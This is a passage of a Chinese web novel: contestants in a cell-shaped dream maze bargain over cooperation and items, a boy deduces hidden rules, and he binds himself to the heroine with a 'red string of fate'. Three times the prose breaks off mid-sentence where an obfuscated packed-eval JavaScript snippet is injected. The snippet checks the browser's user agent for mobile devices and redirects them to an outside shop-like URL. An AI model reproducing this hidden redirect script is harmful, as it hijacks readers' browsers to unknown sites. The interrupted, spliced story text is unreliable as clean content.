系统规则提到,当前梦境投放了1000名应试者。如果场景是半径25个单位的球体,那么球体表面积大概是7800左右,也就是说,假设全部应试者的初始位置在“细胞”表面均匀分配,那么至少每七个房间才会有一个应试者。 只有随着应试者逐渐向“细胞”内部迁移,应试者碰面的概率才会增加。 眼前这四个人应该不是碰巧同时经过这个房间,倒像是专门在这儿等着更多人的到来,正如当时白芒在房间里等她一样。 果然,四人中暂时作为话事人的西装男率先做出自我介绍:“你们好,我是齐越。不知道三位,是否有合作通关的打算?” 人均有限的能量值,飞快的能量消耗,极考验敏捷度和反应能力的绿色房间,极考验记忆力的橙色房间,未知的房间排布规律……这些限制极高的要素,都指向了这个梦境“合作通关”的根本路径。 南柯从一开始就知道这一点。 只是,合作要看对方的筹码和诚意。没人需要拖后腿的合作者。 南柯挑眉:“怎么合作?” 许是南柯一看就不是简单角色,齐越直接省略了你来我回的拉扯,抛出一个他认为相当有价值的信息:“我推测,规则中五种颜色的房间,很有可能对应细胞中不同的细胞器。” 白芒:哦。 他几分钟之前刚听过一模一样的论断。 南柯和陈立阳面无表情。 就连三人中看上去最“朴素”的白芒都毫不惊讶。 齐越的开场白没有达到预想中的效果。 他微微诧异,明明他第一次讲给房间里其他人听的时候,他们都至少露出恍然大悟的表情。难道新来的三个人早就推断出这一点了? 白芒觉得齐越微妙的停顿或许是希望得到听众的反馈,而显然大佬和漂亮弟弟都没有说话的意思。 于是,他很给面子的点点头:“是的,这是接受过九年义务教育就能得出的结论,您接着说。”他抬手做出“请继续”的手势。 齐越:“……” 他勉强维持住脸上绅士的笑意,继续讲他的推测,内容和南柯的分析大同小异,只不过,在他的推论中,没有房间原地转动的假想。他暂时没有理清破解橙色房间的谜题后在不同墙壁上交替闪烁的按钮是什么意思。 眼看着南柯三人始终没什么太大反应,站在中控台的简约女人终于走过来加入讨论。 她发言简洁,如同她给人的第一印象:“我说几点吧。” “你们好,我叫肖璐。在你们进来之前,我们几个汇总了一下通过的房间的信息,得出几个还有待进一步论证的结论。” “首先,或许在整个细胞的运行规则中,不存在两个相邻的红色房间。” 南柯三人中确实也没人连续经过红色房间,以当前的样品量来看,这个结论很可能成立。而且连续的红色房间会消耗4个能量值,这样的设定很难让运气差的人顺利通关。 这显然不是一个考察运气的梦境。 “其次,红色房间周围相邻的六个房间中,必定存在至少一个绿色房间。” 南柯饶有兴致:“依据是?” “我们其中有三个人都曾经交替经过红色和绿色房间。” “听起来不具备很强的因果关系。” 可能是被南柯并不高昂的合作兴致所惹恼,面色黝黑的肌肉男向前逼近两步:“你们到底要不要合作,不合作就滚!” 白芒不甘示弱:“你什么态度!” 空气中瞬间弥漫起浓浓的火药味。 南柯抬手制止了想要冲上去的白芒,目光仍然锁定在肖璐身上。 相较于肌肉男,直接被反驳的肖璐情绪倒是稳定得多。 “别冲动,张先生。”安抚完肌肉男,肖璐继续对南柯说:“你说得对。缺乏海量样本的支撑,这两个结论确实推断的成分居多。不过,我进来之前是做游戏设计的,这个‘梦境’的场景很像一场大型游戏。我会代入我自身,想着如果我是这个闯关游戏的设计者,会给玩家留出怎样的‘生路’。” 她顿了顿,接着道:“如果你们没有合作的意向,那么现在可以离开。如果可以合作,希望你们也可以分享一些已知信息,就算是推测也好,集思广益。” “在你们描述中,从来没有提过与黄色房间有关的线索。冒昧问一下,这是你们第一次进入黄色房间吗?” 进入房间后一直沉默的陈立阳突然发问。 他声音舒缓干净,像阳光晒过的雪松。 然而,听了他的话,齐越和拐角处的嘻哈少女脸色都显著地紧绷起来。 肖璐摊手:“这确实是我进入的第一个黄色房间。” 陈立阳笑了笑:“那你的队友有和你分享他们从黄色房间得到的礼物吗?” 肖璐的眉头显而易见地皱了皱,她看向齐越,“什么礼物?” 在南柯三人进来之前,齐越是第一个进入这个房间的。肖璐进来的时候,中控台的谜题已经被破解。 据齐越所说,那是一个三维拼图游戏,考验应试者的空间重构能力。游戏成功破解之后,系统并没有给出任何线索。 她对这个说法持怀疑态度,但同样经历过黄色房间的嘻哈少女乔茜给出了同样的结论,她只能暂且相信。 现在听新来的漂亮少年一提,她心里的疑云又浮了上来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578980|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>并且,齐越和乔茜表情里的不自然更加昭示着他们果真隐瞒了一些信息。 齐越干咳一声,还在想解释的措辞。 乔茜漫不经心耸耸肩,率先开口:“谁知道在梦境里大家会不会成为竞争者,没有完全信任对方前,有所保留无可厚非。不过,既然已经决定要合作,我不介意展现一下我的诚意。” 她走过来笑嘻嘻地摊开手,掌心竟然凭空出现一把银色的匕首。匕首表面泛着流动的光晕,仿佛只是一个全息投影。 但此时此地,没人会质疑这把匕首的真实杀伤力。 乔茜解释:“我通过的第一个房间就是黄色房间,解谜成功后,系统提示我获得了一把银龙匕,这把匕首可以随着我的意识进行收放,用来防身倒是不错。” 但在更高的武力值面前,匕首可以发挥的作用微乎其微。 这也是她此时愿意“不吝”和众人分享的原因。 肖璐面色瞬间变冷。 她在进入【造梦空间】前在衣服里装了一些防身武器,但进入这里以后,除了随身衣物,这些武器全都消失不见,可见系统不会允许外物的携带。 她完全没想到有人会拥有武器。 如果乔茜心念一动,不是和他们谈合作,而是直接对她动手,她根本毫无防备。 这样的假想让她惊出一身冷汗。 南柯和白芒同样惊讶。 他们倒不是惊讶黄色房间会提供道具这个设定,而是惊讶,同样没有经过黄色房间的陈立阳,怎么会知道这回事? 不过,他们面上却不动声色。 面对乔茜亮出的匕首,白芒甚至想:小case,大佬一双手的杀伤力比十把匕首都要强。 乔茜先开了个头,齐越就没那么难以启齿了。 他紧接话头:“我获得的道具是一个统计器。三次使用机会,每次使用,可以得知当前房间相邻的六个房间的颜色分布,比如1绿3橙2黄这样。” 这无疑是个十分有用的道具,尤其是在初始阶段,对于他们摸出更通用的房间分布规则来说大有裨益。 如果不是房间内七个人的形势分布突然变化,齐越当然不想这么快就暴露底牌。只是,他一开始的隐瞒明显惹恼了肖璐和张诚,已经公布自己道具的乔茜当前也不会站在他这边。 如果不想被剩下六个人围剿,坦诚是他当前的唯一选择。 不过,齐越很懂最大限度地为自己争取利益。 他微笑着看向最先发难的陈立阳:“这位小兄弟,现在我们已经没有任何隐瞒了。作为交换,你们是不是也可以亮出你们的道具了?” 他理所当然地认为南柯三人一定经历过黄色房间,不然不可能知道道具的事。 陈立阳眨眨眼,表情无辜,完全没有拉仇恨的自觉:“我们没有道具。这是我们三个人加起来经过的第一个黄色房间。” “你想耍赖是不是!” 即使张诚也对齐越和乔茜的隐瞒行为感到不满,但显然,陈立阳拒不分享信息的行为损害的是“原住民”四人的共同利益。张诚三两步冲过来,拳头直冲陈立阳的面门而来。 陈立阳站在原地,连睫毛都没眨一下。 因为,那只拳头距离他的脸还有十厘米的时候,就被一只仿佛铜浇铁铸的手死死捏住。 南柯眼神像是淬了冰,语气冷漠得没有一丝温度:“我的人,你也敢动?” 5. 细胞工厂(五) 气氛再次变得剑拔弩张。 张诚脸上的表情急速从凶狠转变为错愕。 在他看来,一个女人,一个乳臭未干的小毛孩儿,一个虽然看着身强体壮但显然和自己有很大差距的年轻人,根本不足为惧。想不到,一个照面就在这个女人手里吃了亏! 齐越三人眼里显著流露出惊诧的神情。 白芒老神在在,显然对当前的场景有所预判。 唯有陈立阳,几乎整个身体都被南柯严丝合缝地挡在身后,众人捕捉不到他的反应。 此时,最为难受的还是张诚。 他出拳的右手被南柯紧紧掌控,无法挣脱,就连收手也做不到。 他不是没想过用空闲的左手反击,可脑子里只是刚刚转过这个念头,南柯攥着他拳头的手居然举重若轻地向右扭转了一个角度。 他毫不怀疑,但凡他有丝毫多余的动作,南柯就会利落地折断他的腕骨。 场面陷入焦灼。 大概过了十几秒的时间,终于有人打破诡异的安静气氛。 “姐姐,没事的,我可以解释。” 温和乖巧的声音从身后传来。 南柯挑眉看了张诚一眼,手上的力道卸去,手掌顺手向前一推。 骤然失去控制的张诚随着惯性后退几步。 他面色涨红,眼看就要再次冲上来,旁边的齐越及时拉住他的胳膊:“张老哥,别动气,我们好好谈,好好谈。” 齐越的话给了一个台阶。 实际上,虽然不知道南柯是什么来头,但刚刚一个交手,在场的人谁都看得出这个女人并不好惹。 本来齐越想着如果可以用武力让南柯三人听话,也未尝不是一个办法,但显然目前看来这个办法并不可行。 他只能充当这个和事佬。 张诚冷哼一声,脸上仍然不太服气,但僵持两秒,最终还是借坡下驴,走到一边不说话了。 南柯没给张诚多余的表情,转身看向陈立阳。 她同样有些好奇小孩儿的推断依据。 甚至有那么一瞬间,她怀疑过会不会陈立阳真的隐瞒了去过黄色房间的信息。但这个念头只在她脑子里盘旋了不到一秒钟的时间。 她有种说不上来的直觉,这个小孩儿应该不会欺骗她。 陈立阳向南柯点了点头,不紧不慢娓娓道来。 他看向肖璐的方向:“肖小姐在现实世界是做游戏设计的,如果把这个梦境看成是一场大型游戏,那么拥有1000名‘玩家’的它就是一款交互型游戏,大概会具备这类游戏的基本特征。” 肖璐点头表示认同:“是的。为了提升玩家的体验感,交互型游戏往往比较注重玩家之间的合作对对抗,而且大部分会有排名机制。” “细胞工厂这个梦境中,玩家的合作点大概在于花费最小的总能量值进行尽可能多的房间探索,这姑且算是一个核心机制。 相对而言,它的对抗机制就略显单薄了。依齐先生刚刚的描述,你们也发现了能量可以剥夺的规则。 但试想一下,【造梦空间】如此诡异的存在创造的‘游戏副本’,难道只会设置能量值抢夺这一个对抗点吗?如果是这样,那武力值比较高的人会天生占有优势。我想,应该没人会认为这个‘梦境’是一个简单的肉搏游戏。” 白芒插进话来,“对啊。如果现实里有一款游戏,只有武力值一个参数,玩家之间你抢我夺就能过关,那可玩性也太差了。反正如果是我,我是不会去玩的。” 陈立阳笑了笑:“所以,这时候,游戏往往会加入其他的对抗元素。” 肖璐眼前一亮:“确实。在玩家对抗的游戏中,往往会提供不同种类的buff,具体体现大多是道具。推塔游戏里有铭文和装备,生存游戏里有武器和药物,即使是农场种菜的游戏,都会给玩家开放缩短成熟时间、提升作物品质等类型的道具。 道具不仅会提升游戏的可玩性,更考验玩家的游戏策略,甚至道具种类和使用时机的选择对游戏的输赢和玩家的排名至关重要。” 陈立阳点点头:“所以,这个‘梦境’中提供道具就不足为怪了。”他顿了顿,“我们三个人经历过的其他三种房间都没有产生道具,所以,我只是合理推测黄色房间有道具罢了。” 他讲话不紧不慢,有理有据,情绪比场上年纪远大于他的人还要稳定。即使经过刚刚张诚的恐吓,他都没表现出一丝慌张。 南柯不动声色地多看了他几眼。 白芒则是挤眉弄眼地用眼神对他进行了不吝赞美:真不赖啊老弟! 按照陈立阳的思路,猜到道具的存在似乎并不困难,再加上他看上去十七八岁,正是爱玩游戏的年纪,众人对这个解释接受良好,没再揪着不放。 只是第一次问起道具时,他的语气过于确定和随意,张诚忍不住嘟囔了一句:“谁t·m能想到你是猜的。” 被南柯一记眼刀杀回去。 眼看着气氛又要不对劲,齐越赶紧打圆场:“既然话说开了,不如我们接着谈谈怎么合作?”他显然是知道南柯三人谁是话事人的,直接看向南柯:“这位小姐,不知道,你们可否分享一下已知的线索?” 虽然齐越分享的都是他们已知的信息,但多少表达了合作的诚意。 南柯漫不经心地抛出了“细胞”内部的房间在原位转动的信息。 白芒很有眼色地接过话头,对这个结论进行了一系列的补充解释,包括房间的运转周期。 无疑,这是个相当重要的信息,意味着梦境的破局难度大幅提升。 齐越想了想:“那不如这样。我们现在有七个人,每到一个房间,我们轮流到周围的房间进行探索。只要精准把握房间的运转周期,就不会有两拨人进入同样的房间。” 乔茜表示认同:“根据已有信息不难得出,橙色房间可能会提供方向信息。那么能量足够的情况下,有橙色房间我们就进入橙色房间。如果能量值过低,那只能去绿色房间进行补充。” 肖璐补充:“目前看来红色房间是最危险的,不仅没什么buff,还会消耗能量,能避开要尽量避开。至于黄色房间……” 黄色房间的道具有很大的选择空间。乔茜得到的银龙匕可以进攻和防守,齐越得到的统计器有利于破解梦境机制。说不准有没有什么其他更厉害的道具可以作为通关的金手指。 张诚显然比较关注这一点:“合作的话,在黄色房间得到的道具归谁?” 众人微妙地沉默了一瞬。 白芒摊手:“谁也不能率先知道去的房间是什么颜色,那道具谁拿到就归谁呗。” 张诚不太乐意:“那有什么合作的必要?万一我就是无法解出房间的谜题,岂不是永远分不到道具?” 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578981|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒上下左右乱指一通:“门在那边、那边、那边,您不想合作现在可以走。”他早就对张诚不太满意,动不动就要动手,完全没有一点友好合作的觉悟。 “你!” 白芒赶紧往南柯身后躲了躲。 张诚:“……” 齐越适时打断两人的争吵:“好了。如果是提供线索类的道具,我们可以共享。如果是武器类,那归获得者所有,这样可以吗?” 听起来是个折中的办法。 众人都没什么异议,大致的合作方针终于确定下来。 “既然这样,那大家方便报一下自己现在的能量值吗?也好做出分配。我先说,我当前还剩下1个能量。”齐越表现得十分积极。 乔茜没什么所谓:“我还剩3个。” 南柯想了想:“我们三个人一共还剩下5个能量。”能量可以进行赠送,南柯三人的关系看起来还算紧密,报一个总值也无可非议。 张诚面无表情:“我剩1个。” 肖璐面露赧然之色:“我不太走运,之前经过的房间只有一个是绿色,而且我反应力比较差,在里边只补充了一个能量,到这个房间,能量值正好用光了。” 话音刚落,南柯和陈立阳似有感应地交换了一个眼神。 乔茜冷笑:“哟,那可真巧。” 肖璐脸色冷下来:“我说得本来就是实话,不信你自己来看。”说着,她抬了抬自己的手腕,上面能量值那一栏清清楚楚地写着数字“0”。 乔茜摊了摊手,不说话了。 齐越进行信息汇总:“我和肖小姐的上一个房间是橙色,张老哥的上一个房间是黄色,乔小姐的上一个房间是绿色,这位小姐……” “免贵姓南。” “好的,南小姐三人上一个房间是橙色。经过我们之前对坐标信息的同步,这3个橙色房间都互不重合,也就是说,目前这个房间周围,已经确定有3个橙色房,1个绿色房和1个黄色房。” 他说话的间隙,陈立阳突然问了一句:“肖小姐的上一个房间是橙色?” 肖璐点点头:“是。但我害怕解题失败会有什么惩罚,所以没解题就出来了。” 听起来没什么破绽,毕竟上一个经历黄色房的张诚也说自己没选择解题。 陈立阳将目光转向齐越:“齐先生的上一个房间也是橙色,冒昧问一下,您解题之后是从按钮闪烁的门过来的吗?” 齐越想了想:“闪烁的方向一直在变化,当时也不知道这个和方向有关,就随便找了一扇门出来了,我出来的时候那扇门应该没有按钮闪烁。怎么了吗?”不知道为什么,他和这个年轻男孩说话的时候,总觉得有一种无形的压力,好像整个人都要被他看穿。 陈立阳笑了笑:“没,就是确认一下。”他朝齐越比了个手势,“您继续说。” 齐越接起话头:“我现在可以用一次统计器,查看一下周围的房间分布。如果未知的最后一个房间不是红色,那除了肖小姐以外,我们都可以去探索,如果有红色存在……”他目光谨慎地看了看乔茜和南柯,“那就只能麻烦乔小姐和南小姐的团队去查看了。” 两人罕见地都没表现出什么异议,只是,南柯目光随意地看了眼中控台。 她正要说话,就听到陈立阳乖巧的声音:“使用道具前,我还有几个不成熟的小推断。不如大家听听看?” 6. 细胞工厂(六) 由于陈立阳不久前刚猜出道具存在的事实,听他说起有一些推断,众人纷纷洗耳恭听。 陈立阳谦逊地笑笑:“只是一些小想法。我们三个人刚刚从橙色房间解开中控台的谜题过来。谜题破解后,我留心看了一下,中控台会直接变成空白,题目不会再被重置。而此时的黄色房间也有类似的情况。也就是说,这两种房间只要被人破解一次,功能就会失效,变成死的‘细胞器’,无法给后进入的玩家提供更多信息。” 张诚冷冷打断他:“这不是废话?” 陈立阳也不生气,语气舒缓:“稍安勿躁。我想说的是,这两种功能型的房间进入会消耗1个能量值,有些类似于利用能量值交换线索。然而,当房间失去功能时,这种交换就失去了公平性。” 他顿了顿,抛出一个重磅信息:“所以,我猜测,已经被破解过的橙色或黄色房间,进入后不会再消耗玩家能量。” “不对呀。”乔茜立刻进行了反驳,“进来的时候规则明确规定,这两种房间会消耗1个能量值,而且,刚刚我进来的时候,这个房间的谜题已经被破解了,为什么我的能量值还是少了1个?” 她说的话都是事实,齐越是第一个进入这个房间的,但他之后进来的人也都经历了能量扣除。 乔茜和张诚纷纷流露出质疑的表情,只有肖璐若有所思。 陈立阳看向她,“肖小姐也有些想法了是吗?” 肖璐被点名,拧着眉试探地说出自己的猜测:“你是说,积分返还机制?” 陈立阳笑着点头:“有时候我们玩游戏会遇到bug,系统错误地扣除了玩家的通用货币或积分,会在修复bug后进行返还。” 白芒恍然大悟:“所以,等我们出去这个房间,消耗掉的1个能量值就会重新加回来吗?” 乔茜皱眉:“那这个规则岂不是很多余,一扣一加,无事发生。” 她问出了在场很多人的心声,这也是肖璐不太理解的点。总不能说,这个“梦境”也会像游戏一样出现这么低级的bug吧? 陈立阳没说话,温软的目光看向南柯。 南柯嗓音淡淡:“不多余。规则里有一条,能量值为负数者穿越失败。”其实,她之前就想到了这种可能性,只是陈立阳先一步说出来了。 白芒恍然大悟+1:“我知道了!这种设计对能量值足够的人来说确实没有影响,但如果进入这个房间之前,能量值正好是0的人呢?那么,他在进入房间的瞬间就会直接over!” 陈立阳欣慰地点了点头。 众人又被这个奇妙的猜测惊了一惊。 无疑,这样说起来,这个猜测不止合理,而且再次体现出了“梦境”对“应试者”的满满恶意。 没有人再进行反驳,陈立阳稳妥地补充:“我也只是猜测,真实情况大家可以尝试一下。” 众人内心os:大可不必谦虚。 他继续道:“周围的六个房间里,已经有人进去过的五个房间里有一个橙色和一个黄色还没有被解密,一个绿色可以补充能量。如果按照我刚刚的推测,另外两个已经破解的橙色房间实际上并不消耗能量值。所以,在已知诸多线索的情况下,当前房间向周边进行探索,实际上风险较低。”他看向乔茜,“如果等下齐先生的统计器显示周围存在红色房间,我愿意第一个进行尝试。” 无疑,陈立阳刚刚的分析让大家对率先探索的抵触心理弱了很多。 但如果不幸进入红色房间,能量值直接就会-2。虽然乔茜也被未破解的黄色房间和可以补充能量的绿色房间而诱惑,但权衡之下,她还是觉得静观其变是更好的选择。 她作为场上能量值最高的人都不愿意冒这个风险,别人自然更乐得让陈立阳去试错。 达成一致,齐越终于第一次使用了道具统计器。 类似于全息投影的道具屏幕上出现了几秒加载进度的图标,然后给出了最终结果:3橙1黄1绿1红。 果然最后一个房间是红色! 齐越看向陈立阳:“那就麻烦小兄弟了。只需要确定一个房间的方位,结合我们已知的其余房间的坐标,按照时间间隔推算,剩下五个房间的方位和颜色就都能确定,然后,我们就能轮流去绿色房间补充能量了。” 白芒举手:“我在想,既然机制里有周期循环,那这个手环会不会有计时功能呀,总不能就靠我们一个数字一个数字的数,那数多了总会有偏差。” 乔茜:“有道理,之前能量转移的功能也是误打误撞探索出来的。这破手环,在这种小问题上还要为难我们。” 说着,众人开始探索起计时功能的开启方式。 很快,白芒那边便得出结果:“有了!长按界面空白处5秒钟,就可以触发计时功能!” 南柯:果然电子产品什么的还是年轻人更懂。 众人经过简单协商,决定让陈立阳进入下一个房间的同时开始计时,两分钟后,他再回到这个房间和大家同步信息。与此同时,房间里剩余的人也开始计时,以确定后续房间总的运转周期。 南柯短暂地思考了几秒钟。 齐越四人并不知道陈立阳的剩余能量值,但她却很清楚,此时小孩儿只剩下1个能量值了。如果能量返还的机制猜测是错误的,只要他不幸进入红色房间,他的能量就会瞬间变成负数。 但他看上去毫不慌乱,南柯揣测他不会无缘无故冒险。 除非…… 她来不及犹豫过多。 在陈立阳朝某一面墙走过去的时候,她抬手拉住他的手腕:“别的房间里可能有其他应试者,你一个人去太危险了,我和你一起。” 少年的手腕瘦削而冰凉,宛若一块易碎的玉。 陈立阳垂眸看向她手掌握住的位置。 那里传来温热的触感,莫名让人安心,一如多年前的某个时刻。 不多时,他抬起头,展颜一笑:“好,谢谢姐姐。” 南柯看向白芒,没说话,但眼神里的意思很明显:自己注意安全,马上回来。 白芒:您有读心术还是怎么的? 刚才他正担心大佬和漂亮弟弟会不会就此抛下他离开来着。 有了大佬的眼神安抚,他安心地点了点头。 南柯两人靠近墙边。 陈立阳好像在等待什么,没有第一时间按下按钮。 南柯贴在他耳边以只有两个人能听见的声音问:“需要我赠送能量值吗?” 陈立阳笑着摇摇头,声音轻如羽毛:“姐姐,别担心。” 他仿佛天生拥有让人信服的能力,南柯便不说话了。 某个时刻,陈立阳飞快按下墙壁上的“OPEN”钮。 “姐姐,就现在。” 话音刚落,他已经被人牵着稳稳落入下一个房间之中。 黄色房间,没有人。 南柯第一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578982|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向手环。 果然,她进入上一个房间之后能量值是3,现在的能量值仍然是3。能量返还机制的假想完全正确。 然后,她立刻调出手环的计时功能,除去长按手环的5秒钟,她定了1分55秒的时间。 南柯松开抓着陈立阳的手:“小孩儿,你是不是早就知道这里会是黄色房间。” 疑问的句子却带着肯定的语气。 陈立阳摸摸鼻子:“嗯,其实从进入上一个房间开始,我就一直在脑子里计时,再加上其他几个人提供的房间坐标,很容易判断出六个方向都是什么房间。” 虽然早有猜测,南柯还是忍不住被这个事实惊到了。 从进入房间开始就在计时? 甚至那时候齐越还没有提出合作的事,他们完全不知道后来会有这一出。 况且,不借助工具,光凭借人脑进行计时,中间还夹杂着众人七嘴八舌的聊天,人的大脑真的可以达到这种精度吗? 察觉到南柯的讶异,陈立阳忐忑解释:“姐姐,我可能只是对相关脑区的开发程度要高一些,你别多想。” 南柯不吝夸赞:“没有。我只是想不到一进来就遇到一个天才小孩儿。” 陈立阳轻咳两声,不动声色地转移话题:“姐姐,时间有限,我们长话短说。上个房间的四个人都不太简单,甚至肖璐,也在关键信息上进行了撒谎。” 南柯点头:“我知道。她说她的能量值是0,如果是这样,她在上一个房间的能量值就是1。一般应试者在能量值为1的时候一定会相当谨慎,因为一旦下一个房间是红色,那就代表着直接出局。” 陈立阳接过话来:“是的。而且我特意和她确认了她上一个房间的颜色。如果她上一个房间是红色,那按照她的推测,梦境里没有接连的红色房间,勉强可以安心步入下一个房间。但她上一个房间偏偏是橙色,这代表着她完全无法排除下一个房间出现红色的可能性。 这种生死攸关的情况下,她在上一个房间停留的时间会非常漫长,甚至很大概率会为了破局而尝试破解橙色房间的谜题。但据她所说她只是担心破解失败有惩罚,就进入下一个房间了,很不对劲。” 南柯给出结论:“所以,她手上很可能有道具。这个道具的功能要不就是可以修改能量值的显示值,让我们认为她的能量值为0,要不,就是可以预知她即将进入的房间颜色。” 陈立阳温软的目光看向南柯:“她有道具,却假装不知道黄色房间的功能,心机或许比齐越和那个年轻女生还要深沉。” 看着小孩儿湿漉漉的眸子,南柯笑着揉了揉他的头发:“知道了,小孩儿,别担心。” 她本来也没有和齐越四人长期合作的打算,不过小孩儿煞有介事的样子让她莫名觉得可爱,忍不住想要哄哄他。 头上传来轻柔的触感,陈立阳的身体陡然僵了一瞬。他抿抿唇,终究没有躲开。 南柯很快移开手,温度瞬间从头皮抽离,陈立阳心底莫名有种怅然若失的情绪。 还来不及细细品味,南柯的声音再次传来。 “比起这个,我其实更好奇,在橙色房间里,你为什么会选择和指示方向相反的方向?” 这也是她要跟陈立阳一起过来的一个原因。 陈立阳看向南柯,眼里闪烁着细碎的光:“在细胞的运转过程中,只有一条与方向相关的绝对法则。” “中心法则!” 7. 细胞工厂(七) 陈立阳笑着点点头。 “这条法则规定了细胞中遗传信息的流动方向,而橙色房间的题目和记忆力有关,‘记忆’相当于‘拷贝’,也和遗传信息相关,所以我猜测应该是用到了这条法则。 DNA在细胞核中通过转录产生mRNA,成熟的mRNA会携带着信息流出核孔,流向细胞质中的核糖体进行后续翻译。在这个过程中,遗传信息由细胞核向外流动。现在我们想要到达细胞核,可以合理推断应该是已知方向的逆方向。” 南柯之前一直在想橙色房间和黄色房间代表什么样的细胞器,经过陈立阳的解释,一切逻辑都发生了连贯,这个“梦境”的大框架终于显出雏形。 她展开联想:“依照这个假想,黄色房间的题目和三维重构相关,或许就对应细胞中进行蛋白合成和加工的内质网、高尔基体了。这两个细胞器会有功能性的蛋白质产出,所以我们在黄色房间可以获取道具。” 陈立阳点头:“从玩家穿越梦境会死这一点来看,【造梦空间】并不是玩家友好型的存在。我们目前还不知道解题失败的后果,但我想,这个后果一定不会简单。” 他顿了顿:“但姐姐不用担心,我的记忆力和空间思维都还行,我们不会遇到那种情况。” 南柯笑了笑:“知道了,天才小孩儿。” 陈立阳小声反驳:“我不是小孩儿了。” “什么?” “……没什么。姐姐,两分钟快到了,我们先解题吧。” 南柯依言和陈立阳一起走向房间的中控台。 不出意外,果然是和空间重构相关的题目,积木拼图游戏,对照给出的设计图,在答案给出的三十块积木中准确选出模型里缺失的五块。 陈立阳花了三秒钟读完题目,然后果断点击开始。 在南柯看不到的角度,他一瞬不瞬地盯着开始进行三维旋转的设计图和模型图,眼底浮现出一层浅淡的蓝色光晕。 南柯始终和陈立阳一起看着屏幕。 设计图中的积木大概有一百块,积木缺失的位置有些在表面,有些在内部。 十秒钟后,屏幕上的三维模型停止转动,积木选项呈现。 南柯隐约记得那些积木的位置,但在脑中重构并且给出答案可能需要一些时间。 而陈立阳几乎没有任何停顿,他骨节分明的手指飞快从答案中选择了五个,然后点击提交。 屏幕飞快呈现出黄色的“correct”字样。 南柯再次接受了他是天才小孩儿的设定。 很快,屏幕上空爆出类似于全息投影的道具,是一根看起来平平无奇的红色细绳。 同时,道具上方开始快速流淌出几行字迹: 【在生死一线的梦境中,你是否有想要用生命保护的人?】 【是否想要与之共享命运,同生共死?】 【道具:命运之红绳。】 【效用:被绑定的两人共享能量值。只要双方能量总值不为负数,则不会判定任意一人穿越失败。一旦绑定,在梦境结束之前不可解除。请慎重使用。】 字迹悬空存留了几秒钟后缓慢消失。 红绳化为一道流光飞向陈立阳的身体,然后消失不见。 南柯评价:“看起来还不错。如果你遇到非常值得你信任的人,可以进行绑定,使用得当会是很好的保护型武器。” 陈立阳温软的目光看向南柯,有些欲言又止。 “怎么了?”看上去有些委屈巴巴的。 陈立阳轻声道:“姐姐,橙色和黄色房间的题目对我来说不算太难。” “嗯。”何止是不难,你看上去解得相当轻松。 “我也会努力寻找线索,尽快想到从这里出去的办法。” “嗯。”确实你有这样的实力。 “我不会拖你后腿的。” “嗯?”怎么突然说这个。 陈立阳鼓起勇气看向南柯,眼里带着明显的期待和请求:“所以,这个红绳,我可不可以和姐姐绑定?” 南柯愣了一下。 她看到红绳的功能的时候,确实有一瞬间想过,如果她遇到要拯救的目标人物,那用这个红绳的功能和对方绑定倒是不错,可以更好地对对方进行保护。 但她没想过陈立阳会想要把这个道具用在她身上。 倒不是怕小孩儿拖后腿。 只是他们相识时间尚短,而且她几乎也没给陈立阳提供什么实质帮助。经过她的观察,就算没有她,小孩儿凭借自己的智商应该也可以找到穿越梦境的办法。 真要绑定了红绳,还说不准是谁更占便宜。 南柯想了想:“万一是我拖你后腿呢?” 陈立阳摇摇头:“我不怕。” 啊。 似乎从刚认识起,这个小孩儿就对她表现出超乎寻常的信任。 南柯想,难道是特工做久了,她身上进化出这种天生容易让人信任的特质了? 似乎是感受到南柯的犹豫,陈立阳有些失落地低下头,“没事,姐姐,是我有些唐突了,时间要到了,我们先回去吧?” 话音刚落,头顶就传来温热的触感。 南柯揉揉他的头发:“这个怎么操作呀?” 陈立阳怔了零点五秒钟。 “哦,我刚刚只是在想,如果绑定了,我要更加小心,不能带你一起死了。” 陈立阳唇角终于漾开欢快的笑意,如三月暖阳融雪。 他垂眼给南柯进行红绳的绑定,嘴里泄出几不可闻的轻语:“姐姐,我不会让你死的。” “什么?” “没什么。我们该回去了。” 红绳绑定之后,南柯着意看了眼手环的信息,能量值那一栏还是3,没什么变化。 似乎一切都没有变,但她总感觉对陈立阳似乎更加亲近了。 她不可思议地想这个【造梦空间】真是神通广大,梦境里的道具居然还能对人的心理产生真实影响。 很快,陈立阳掐准时间,和南柯一起回到之前的黄色房间里。 众人立刻围上来询问情况,白芒肉眼可见地松了口气。 陈立阳没有隐瞒,将能量返还机制的验证结果告诉众人,并如实说了他们进入的房间坐标和获得的道具, 